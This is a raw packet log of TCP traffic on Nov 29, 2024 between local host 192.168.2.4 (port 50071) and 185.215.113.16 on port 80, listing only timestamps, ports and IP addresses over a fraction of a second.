Nov 29, 2024 20:07:40.332077026 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.332673073 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.332720041 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.332751036 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.332782984 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.333391905 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.333442926 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.333537102 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.333621025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.334186077 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.334245920 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.334340096 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.334398985 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.334876060 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.334893942 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.334945917 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.335593939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.335647106 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.335669041 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.335716963 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.336319923 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.336389065 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.336416006 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.336534023 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.336990118 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.337034941 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.337069988 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.337167978 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.337713003 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.337771893 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.337804079 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.337922096 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.338463068 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.338530064 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.338560104 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.338635921 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.339178085 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.339251995 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.339268923 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.339344025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.339878082 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.339936972 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.340002060 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.340060949 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.340616941 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.340667963 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.340734959 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.340806007 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.341346979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.341428995 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.341455936 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.341531038 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.342072010 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.342184067 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.342273951 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.342344046 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.342761993 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.342823982 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.342924118 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.342989922 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.343663931 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.343733072 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.343792915 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.343832970 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.344367981 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.344434977 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.344528913 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.344602108 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.344996929 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.345061064 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.345071077 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.345130920 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.345733881 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.345789909 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.345885038 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.345937967 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.346501112 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.346605062 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.346632004 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.346689939 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.347100973 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.347153902 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.347206116 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.347249985 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.347856998 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.347924948 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.347954035 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.347999096 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.348551035 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.348671913 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.348691940 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.348738909 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.349250078 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.349297047 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.349360943 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.349430084 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.350032091 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.350049973 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.350080967 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.350080967 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.350696087 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.350766897 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.350827932 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.350887060 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.351423025 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.351491928 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.351526022 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.351572037 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.352170944 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.352236032 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.352279902 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.352324963 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.352863073 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.352914095 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.352977037 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.353022099 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.353574991 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.353666067 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.353699923 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.353766918 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.354301929 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.354361057 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.354402065 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.354453087 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.355021954 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.355089903 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.355171919 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.355222940 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.355770111 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.355851889 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.355861902 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.355936050 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.356481075 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.356539965 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.356549978 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.356612921 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.357196093 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.357247114 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.357378960 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.357434988 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.357911110 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.357976913 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.357999086 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.358052015 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.358680010 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.358700037 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.358747005 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.359389067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.359463930 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.359505892 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.359548092 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.514060020 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.514098883 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.514147043 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.514147043 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.514370918 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.514440060 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.514472961 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.514525890 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.515244007 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.515291929 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.515331984 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.515402079 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.516079903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.516155005 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.516360998 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.516410112 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.516416073 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.516505957 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.516930103 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.517002106 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.517014027 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.517046928 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.517571926 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.517642975 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.517656088 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.517740011 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.518172979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.518246889 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.518326998 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.518379927 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.518882036 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.518956900 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.518995047 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.519077063 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.519637108 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.519648075 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.519695997 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.520319939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.520375967 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.520461082 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.520541906 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.521111965 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.521123886 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.521173000 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.521173000 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.521800041 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.521843910 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.521929979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.521991014 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.522674084 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.522784948 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.522883892 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.522934914 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.523432016 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.523483992 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.523510933 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.523606062 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.524101973 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.524120092 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.524149895 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.524200916 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.524811029 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.524863958 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.524894953 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.524990082 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.525516033 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.525571108 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.525571108 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.525662899 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.526130915 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.526176929 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.526217937 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.526292086 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.526952982 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.526998997 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.527189016 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.527234077 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.527831078 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.527873039 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.527898073 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.528006077 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.528875113 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.528929949 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.528956890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.529041052 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.529599905 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.529644012 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.529673100 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.529788971 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.530111074 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.530181885 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.530204058 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.530277014 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.530759096 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.530828953 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.530857086 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.530920029 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.531378984 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.531435013 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.531487942 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.531538963 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.531913996 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.531969070 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.531996965 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.532093048 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.532677889 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.532747030 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.532758951 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.532808065 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.533310890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.533374071 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.533432007 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.533488035 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.534034967 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.534110069 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.534137964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.534199953 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.534821033 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.534868956 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.534898996 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.534950018 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.535531044 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.535582066 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.535672903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.535718918 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.536278963 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.536322117 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.536420107 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.536467075 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.536911964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.536968946 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.536995888 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.537034035 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.537662983 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.537728071 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.537775040 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.537820101 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.538389921 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.538402081 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.538434029 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.538470984 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.539086103 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.539180040 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.539207935 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.539273977 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.539829969 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.539899111 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.539983988 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.540065050 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.540570021 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.540621996 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.540646076 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.540728092 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.541229963 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.541300058 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.541358948 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.541414976 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.542083979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.542149067 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.542196035 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.542268038 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.542680979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.542748928 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.542896032 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.542959929 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.543488979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.543545008 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.543565989 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.543668985 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.544183016 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.544248104 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.544281006 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.544364929 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.544845104 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.544919968 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.544955015 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.544998884 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.545665026 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.545734882 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.545758009 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.545811892 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.546418905 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.546467066 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.546505928 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.546556950 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.547183990 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.547250986 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.547267914 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.547296047 CET	50071	80	192.168.2.4	185.215.113.16
